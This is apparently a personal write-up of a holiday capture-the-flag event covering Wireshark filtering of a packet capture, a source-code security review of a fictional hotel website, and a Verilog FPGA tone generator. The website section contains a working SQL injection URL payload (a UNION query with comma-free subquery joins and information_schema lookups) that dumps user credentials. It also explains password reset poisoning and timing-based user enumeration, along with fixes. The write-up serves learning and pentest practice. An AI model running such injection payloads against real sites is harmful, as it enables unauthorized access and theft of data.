To find the relevant POST, I used the filter http.request.method == "POST". This only returns a few entries, and they're all pretty hilarious, so a manual search from here seemed worthwhile. Alternatively, we're told that Jack Frost requires his trolls be RFC3514-compliant, which means I could've used the filter ip.flags.rb != 1. Right clicking and then following the HTTP stream reveals the following customer complaint:

The customer was in room 1024, so I initially tried the following filter: urlencoded-form.value == "Room 1024". This doesn't work because the trolls are a bit sloppy and don't fill out the form with just the room. A fuzzy match works better: urlencoded-form.value matches ".*1024.*"

Wireshark settings if this doesn't work. If the filter doesn't find anything, you probably have URL Encoded Form Data disabled. Go to Analyze > Enabled Protocols, search for url in the search bar and ensure it is ticked.

Double-clicking on the four POSTs found reveals complaints from Yaqh, Flud, Hagg and the guest. The objective requires the trolls be named alphabetically, so the answer is Flud Hagg Yaqh

The complaints and punishments are pretty funny, so I collected them This uses the filter http.request.uri contains "/feedback/guest_complaint.php" or http.request_in. Annoying woman in room 1239Woman call desk and complain that room is cold. I go to room , knock on door , and tell her nice that I eat beans at lunch and can warm room up. She slam door in Gavk face. So mean.Euuk do an innocent "crop dust" in elevator as it reach ground floor. No biggie - everyone do this sometimes. Couple get in. Begin to retch. Look at me with mean-type nastiness. I have bad feels.
Guest infoComplaint Punishment
Funny looking man in room 1145I carry suitcase to room. Throw bag at bed and miss a little. Man is angry. He say suitcase is scuff. I say his face is scuff. He is more angry and I get no tipThe key card for his room will be randomly rejected, requiring him to repeatedly vist the front desk for a replacement.
We have activated the drip-o-matic function of her bathroom sink. It will drip loudly all night long.
Boring humans in room 1128I bring room service order. Use key card to go in. Woman getting undress. She scream and throw shoe at me. Shoe is tasty , but it not make up for her hurt my ears with scream.We have locked their television to only show reruns of Dr. Phil saying things like: "I don't care how flat you make a pancake, it still has two sides."
Ugly , mean couple in room 1032We will add several random mini-bar charges to their bill.
Bald man in room 1212Crag get in elevator. Man get in too. Crag push ALL buttons. Crag giggle because is funny joke. Man is no thinking funny. He has bad humor. He call Crag "unthinking brute." Crag is not brute.Three words: Explosive. Toilet. Malfunction.
Stupid man in room 1215Bring drink to man at slot machine. Spill it on him a little. Urgh go to lick it off of him and he is angry. Say his is "shock" at Urgh behavior and lick is a bad idea. He is silly and mean.Housekeeping will be instructed to "accidentally" leave a tuna sandwich inside his room's heater.
Snooty lady in room 1024Lady call desk and ask for more towel. Yaqh take to room. Yaqh ask if she want more towel because she is like to steal. She say Yaqh is insult. Yaqh is not insult. Yaqh is Yaqh.We will replace her bed sheets with ones that are suspiciously stained.
Very cranky lady in room 1024Lady call front desk. Complain "employee" is rude. Say she is insult and want to speak to manager. Send Flud to room. Lady say troll call her towels thief. I say stop steal towels if is bother her.We decree: SUPER SLOW WIFI.
Incredibly angry lady in room 1024Lady call front desk. I am walk by so I pick up phone. She is ANGRY and shout at me. Say she has never been so insult. I say she probably has but just didn't hear it.We have scheduled an "accidental" 4:00am wake-up call.
troll_id=I don't know. There were several of them.&guest_info=Room 1024&description=I have never , in my life , been in a facility with such a horrible staff. They are rude and insulting. What kind of place is this? You can be sure that I (or my lawyer) will be speaking directly with Mr. Frost!### ERROR ###
Ugly little man in room 1121He call desk and say his shoes need shine. He leave outside door. I go and get. I spit shine. One spot on shoes is bad so I lick a little. Quite tasty. I accidental eat shoe. I take other shoe back. I am proud I no eat. He is mean at me.His television has been locked on and tuned to show re-runs of The Bachelorette, 24 hours a day.
Nasty bad woman in room 1125Bloz have tacos for lunch. Later , Bloz have very bad tummy and need to use potty immediate. Use key card on room on 11 floor. Bloz in bathroom doing business. Lady come in and scream. Bloz business quick done. She is rude.Sometimes, people get stuck in the elevator. Just sayin'...
Very crabby woman in room 1125Lady call desk and say toilet plug. Wuuk take plunger and go to room. Wuuk make innocent comment that lady poop like troll and say Wuuk is "outrageous." Does that mean handsome?Housekeeping visit scheduled for 6:00am.
Rude couple in room 1117Kraq make teensy comment about man having bad toupee. Turn out it is not toupee. Kraq stand by comment - man have hair look like bad toupee. Man is angry and call Kraq many bad word. Kraq is just a pawn in great game of life.Water pressure? What water pressure?
Family in room 1226Lady is sit in lobby holding wonderfully ugly doll. Ikky like ugly doll and ask where she get. Ikky use to decorate for Halloween. She get angry because is her baby. She say "I never!" Ikky say she must have at least once.I'm sorry, but our valet cannot currently find your vehicle. We'll call you when and if it is located.
Grumpy man in room 1119Man call front desk to complain about room be stuffy. Stuv say he is happy to get man and throw outside. Lot's of fresh air. And polar bears.That's not a mint on your pillow...

Note: the response are chunked, so this requires looking at Wireshark's uncompressed entity body. Also noteworthy is that the trolls are using "Cran Pi... Frosty Fox" user-agents.

In case Frost needs any more suggestions for punishments, bed bugs should be used for top infractions, surprise spider falling from the roof for intermediate ones (especially if you can get ones that move fast), and for minor infractions, air conditioning units occasionally leak and can be cleverly placed above the bed for maximal confusion at 2am (speaking from experience).

Relevance Knowing how to use Wireshark to view packet captures is incredibly helpful for diagnosing network issues, or when trying to understand an unknown protocol. We frequently use it at my work when browsers are just showing "Connection resets" to determine what the true issue is.

Objective 12: Frost Tower Website Checkup

Ingreta Tude is concerned that Frost Tower's website isn't secure. She's given us access to the staging website and source code so we can take a look.

The first thing that stands out are all the SQL queries that are just concatenated. Eg: tempCont.query("SELECT * FROM emails WHERE email="+tempCont.escape(email). "tempCont" comes from modconnection.js (


        var createcon = require('./custom_modules/modconnection');
        var tempCont = new createcon();
    
, which refers to mysql. According to their docs, using escape is safe, but it still makes me a bit suspicious.

Looking at the rest of the code, I can see the the following URLs are accessible without being logged in:

  • /testsite (get and post)
  • /contact (get)
  • /postcontact (post)
  • /login (get and post)
  • /redirect (get)
  • /logout (get)
  • /forgotpass/* (get or post)
The other endpoints require authentication:
  • GET /detail/:id checks for session.uniqueID
  • GET or POST /edit/:id checks for session.uniqueID
  • POST /delete/:id checks for session.uniqueID and session.userstatus
  • GET or POST /search checks for session.uniqueID
  • POST /export checks for session.uniqueID
  • GET /dashboard checks for session.uniqueID
  • GET or POST /adduser checks for session.uniqueID and session.userstatus
  • GET /userlist checks for session.uniqueID and session.userstatus
  • GET or POST /useredit checks for session.uniqueID and session.userstatus
  • POST /userdelete checks for session.uniqueID and session.userstatus

I scoured all of the publicly accessible code, including searching for security advisories for mysql, noted potential issues and declared vulnerabilities with no luck, so I started to focus on getting access to the authenticated endpoints.

I suspect brute-forcing the login page might work; people are typically less careful about staging sites when choosing passwords. Since I was given the code, the preference is to try to find a vulnerability in it. So where is session.uniqueID set?

It's set in the login page after checking the username and password is correct, like you'd expect, but also in a bunch of unexpected places, most notably /postcontact which doesn't require authentication:

app.post('/postcontact', function(req, res, next){
    ...

    tempCont.query("SELECT * from uniquecontact where email="+tempCont.escape(email), function(error, rows, fields){

        if (error) {
            console.log(error);
            return res.sendStatus(500);
        }

        var rowlength = rows.length;
        if (rowlength >= "1"){
            session = req.session;
            session.uniqueID = email;
            req.flash('info', 'Email Already Exists');
            res.redirect("/contact");

We can test this by entering the same email address into the contact form twice and then visiting search, which gives us the search page. So now there are more methods to look at!

Exporting code can be a little bit dodgy, but it's not doing anything too complex, and I couldn't find vulnerabilities in the library.

The SQL code really feels suspicious to me, so I re-focused my attention there and eventually noticed one piece of code doing something a little different:


    app.get('/detail/:id', function(req, res, next) {
        session = req.session;
        var reqparam = req.params['id'];
        var query = "SELECT * FROM uniquecontact WHERE id=";
    
        if (session.uniqueID){
    
            try {
                if (reqparam.indexOf(',') > 0){
                    var ids = reqparam.split(',');
                    reqparam = "0";
                    for (var i=0; i<ids.length; i++){
                        query += tempCont.escape(m.raw(ids[i]));
                        query += " OR id="
                    }
                    query += "?";
                }else{
                    query = "SELECT * FROM uniquecontact WHERE id=?"
                }
m.raw is unusual. Searching for .raw in the documentation finds the following warning: Caution The string provided to mysql.raw() will skip all escaping functions when used, so be careful when passing in unvalidated input.

To confirm the issue, I tried to union with the users table /detail/1,UNION+SELECT+*+FROM+users which gave me an "Internal Server Error", confirming that the SQL injection was genuinely there, but not giving me any details about the query ran.

At this point, I figured it'd be easiest to run locally so that I could print the resulting query string and see exactly what was going wrong. The first issue I encountered was that + wasn't decoded to space. Fortunately %20 was, so that wasn't too much of an impediment.

Using %20 gave me a much clearer error:

Conveniently, users have the same number of columns as uniquecontact, so it seemed like it'd be easy to dump.When using a "UNION" query, you must make sure the columns from the first sub-query match the queries from the second. This mostly works between uniquecontacts and users, except that the 7th column for uniquecontacts is a date whereas for users, it's a token. The HTML template tries to format the token into a date (<%= dateFormat(encontact.date_update, "mmmm dS, yyyy h:MM:ss") %>, causing the error seen.
Since it's not quite that simple, normally I'd resort to using UNION NULL,NULL..., but the ids are split on commas so that would end up with the invalid syntax OR NULL OR NULL

An alternative to using commas is to use subqueries instead. EG UNION SELECT NULL, NULL is equivalent to UNION SELECT * FROM ((SELECT NULL) JOIN (SELECT NULL). It's far less readable, but we can use it to return a default date where needed: GET /detail/1,2%20UNION%20SELECT%20*%20FROM%20((SELECT%201)A%20JOIN%20(SELECT%20name%20FROM%20users)B%20JOIN%20(SELECT%20email%20FROM%20users)C%20JOIN%20(SELECT%20password%20FROM%20users)D%20JOIN%20(SELECT%201)E%20JOIN%20(SELECT%20curDate())F%20JOIN%20(SELECT%20curDate())G)%23

That dumps the users and passwords
  • placeholder@jackfrosttower.com 17746781297
  • 1@1.1 1@1.1
  • root@localhost $2b$10$FTkzq07Az57M.Q8jw7ehB..h5Vdc3Vw04zQzJIt294bgwg7.aV1GC
  • admin@localhost $2b$10$FTkzq07Az57M.Q8jw7ehB..h5Vdc3Vw04zQzJIt294bgwg7.aV1GC
and could probably be used to insert values, but unfortunately the code is hashed using bcrypt, so it'd be too hard to reverse them, and it doesn't seem like getting a user is going to provide any more access than I already have.

Looking back at the objective, the goal is to determine what's in Jack Frost's to-do list, so perhaps other tables are of use. We can dump those by putting SELECT table_name FROM information_schema.tables into our second embedded query (the first has to return a number), which tells us there's a table called "todo" that's probably interesting.

To get the column names from that, we can use SELECT column_name FROM information_schema.columns WHERE table_name = 'todo' to find that the column names are note and completed.

Adding these into the search finds the answer:

  1. Buy up land all around Santa's Castle
  2. Build bigger and more majestic tower next to Santa's
  3. Erode Santa's influence at the North Pole via FrostFest, the greatest Con in history
  4. Dishearten Santa's elves and encourage defection to our cause
  5. Steal Santa's sleigh technology and build a competing and way better Frosty present delivery vehicle (completed)
  6. Undermine Santa's ability to deliver presents on 12/24 through elf staff shortages, technology glitches, and assorted mayhem
  7. Force Santa to cancel Christmas
  8. SAVE THE DAY by delivering Frosty presents using merch from the Frost Tower Gift Shop to children world-wide... so the whole world sees that Frost saved the Holiday Season!!!! Bwahahahahaha!
  9. With Santa defeated, offer the old man a job as a clerk in the Frost Tower Gift Shop so we can keep an eye on him

There are some other issues to note though.

First, and probably least significantly, it gets an F from Mozilla. While this isn't necessarily a big deal, someone smart often tells me that these sorts of things indicate a bad smell - the issues are easy to fix, so if you're not even bothering with that, there are likely more serious vulnerabilities to be found.

Of more importance, there is a password reset poisoning vulnerability. In the reset function, the fullUrl is set using the hostname from the request: var fullUrl = req.protocol + '://' + req.get('host') + req.originalUrl;. This means an attacker can make a request on a user's behalf, using a host that they control. A legitimate password reset email will be sent to the user but if they click it, the attacker's site will be opened with the user's reset token. The attacker can then use the reset to change the user's password to something they know. Ideally, this code should be altered to use a trusted value but if that's not possible, the site should be placed behind a WAF that blocks requests with invalid hosts.

Additionally, there is no anti-automation protection and a timing-based user enumeration flaw, so an attacker may be able to brute force usernames. In the login path, the password is only hashed if the user exists. If the user does not exist, a redirect is immediately returned. The hash calculation takes a while, so an attacker can record the time taken to get a response with different email addresses and compare these in order to determine which email addresses are valid users. Once they have this data, they can use credential stuffing or spraying to try numerous passwords for the users until they find the correct combination. This should be remediated by adding anti-automation protections (such as recaptcha and login lockouts for usernames and IPs that fail to login too many times). Ideally, second-factor authentication should be added and/or password complexity requirements, and the password's hash should be calculated whether the username exists or not.

Of less importance, there may be a slight risk of DoS attacks in the /detail/:id form, since there is no limit on the number of ids that may be supplied or that they're unique, and I am slightly concerned that the /contact form sends back rowdata to users that should not have access to it. Fortunately it's not used in the detail template, so this isn't leaking sensitive data, but it should be removed to prevent accidental exposure and to reduce the risk of a DoS attack.

According to Express' documentation, it seems like express-session should not be used for production:

The main difference between these two modules is how they save cookie session data. The express-session middleware stores session data on the server; it only saves the session ID in the cookie itself, not session data. By default, it uses in-memory storage and is not designed for a production environment. In production, you'll need to set up a scalable session-store; see the list of compatible session stores.
Since this is only a staging environment, this is probably appropriate but should be considered when moving to production.

Relevance This felt similar to a genuine pentest to me. Pentesters are often given source code to review, since they have less time to discover attacks than attackers. Typically a penetration tester would also be given an administrative and normal user account so that they can check more carefully - eg, it would help me show the impact of the username enumeration timing attack.

Objective 13: FPGA Programming

The holiday gift of the season will be the new Kurse 'em Out Karen doll, which needs to say her trademark phrase "let me talk to your manager". This is pretty complicated, so for this challenge, we'll only create a program to make a square wave tone at a variable frequency.

Beginning this challenge, I didn't know what a FPGA (Field Programmable Gate Array), or a square wave tone (equal 'on' and 'off'), and barely remembered what made a frequency (the number of repeating attempts), so watching Prof. Qwerty Petabyte's extremely accessible talk was an absolute must for me. I'd definitely recommend starting there. Unfortunately I still don't fully understand this (Physics is not my expertise) so take my explanations with a grain of salt - hopefully another writeup will cover this better!

So on to the task; the frequency is the number of repeats per second, then we can use a counter to determine how often to turn on or off the speaker. EG, if we want a frequency of "five per second", and we know our clock triggers an event every tenth of a second, then 10/5=2 - so we count to two and switch the speaker from on to off or vice versa.

For our challenge, we have a 125MHz clock and frequency input as "(0 - 9999.99Hz)" with the decimal place omitted (ie 100xHz). According to Wikipedia, "frequency is measured in hertz (Hz) which is equal to one (event) per second... For example, if a heart beats at a frequency of 120 times a minute (2 hertz), its period, T—the time interval between beats—is half a second (60 seconds divided by 120 beats)", so we can plug these details into our calculation: threshold <= (125000000/(freq/100)/2);. The rest of our code is largely plumbing:


    `timescale 1ns/1ns
module tone_generator (
    input clk,
    input rst,
    input [31:0] freq,
    output wave_out
);
    // ---- DO NOT CHANGE THE CODE ABOVE THIS LINE ---- 
    // ---- IT IS NECESSARY FOR AUTOMATED ANALYSIS ----
    reg [31:0] one_second_counter; // We need something to store our counter
    reg [31:0] threshold; // And something to store our threshold
    reg voice; // And somewhere to set the speaker
    assign wave_out = voice; // And connect the speaker to voice
    

always @(posedge clk or posedge rst)
begin
  if(rst==1)
    begin
      voice <= 0; // Always just stop if the rst is pushed
    end
  else
    begin
      threshold <=  (125000000/(freq/100)/2); // This could probably be set outside of the loop, but we might want the threshold to be changeable while it's running
      if(one_second_counter >= threshold)
        begin
          one_second_counter <= 0;
          voice <= ~voice; // Set the speaker to not it's current value. IE on if it was off, off if it was on.
        end
      else
        one_second_counter <= one_second_counter + 1; // Increment the one second counter
    end
  end
endmodule

This gets us tantalisingly close, but the frequencies are just a little bit off. It took me ages to figure out why; perhaps I listened too much to Prof Q. Petabyte's advice that this is NOT programming, and yet, like all programming bugs, this is an off-by-one error. The counter starts at 0, not 1, so our threshold should actually be threshold <= (1250000000/freq/2)*10 - 1

Making that change now works great for the 500 - 2000KHz range, and is enough to pass the objective if you are either lucky with the randomly chosen frequency, or if you just try it several times. But it's not perfect.

We were given a hint about rounding If $rtoi(real_no * 10) - ($rtoi(real_no) * 10) > 4, add 1. Currently instead of rounding, we're just truncating when we do the division. We can make our code a little better by adding if($rtoi(125000000/(freq/100)/2) - ($rtoi(125000000/(freq/100)/2) * 10) > 4) threshold <= threshold + 1;, which now means it sometimes gets the best match but it still sometimes doesn't.

Relevance FPGAs are used for hardware acceleration, but I think this task is mostly just for fun?

Wrap Up

Now that all the objectives are complete, click on the red machine next to Crunchy Squishter to put the FPGA into it. This will summon a spaceship who had sent Jack Frost to earth for a peaceful mission. Click on the trolls to learn the full story, and then on Santa to gain the final achievement (which is a crisis over which shirt to buy since there are now so many options!)

I feel like I'm still missing a bunch of easter eggs and extensions to the challenges (like getting domain admin in objective 8!) But unfortunately I've run out of time as per usual. As a final note, I want to mention that I enjoyed all the references to the previous KringleCons, hidden Jason, and the ability to flush Jack's toilet (even if I still can't eat the cotton candy!)







Comments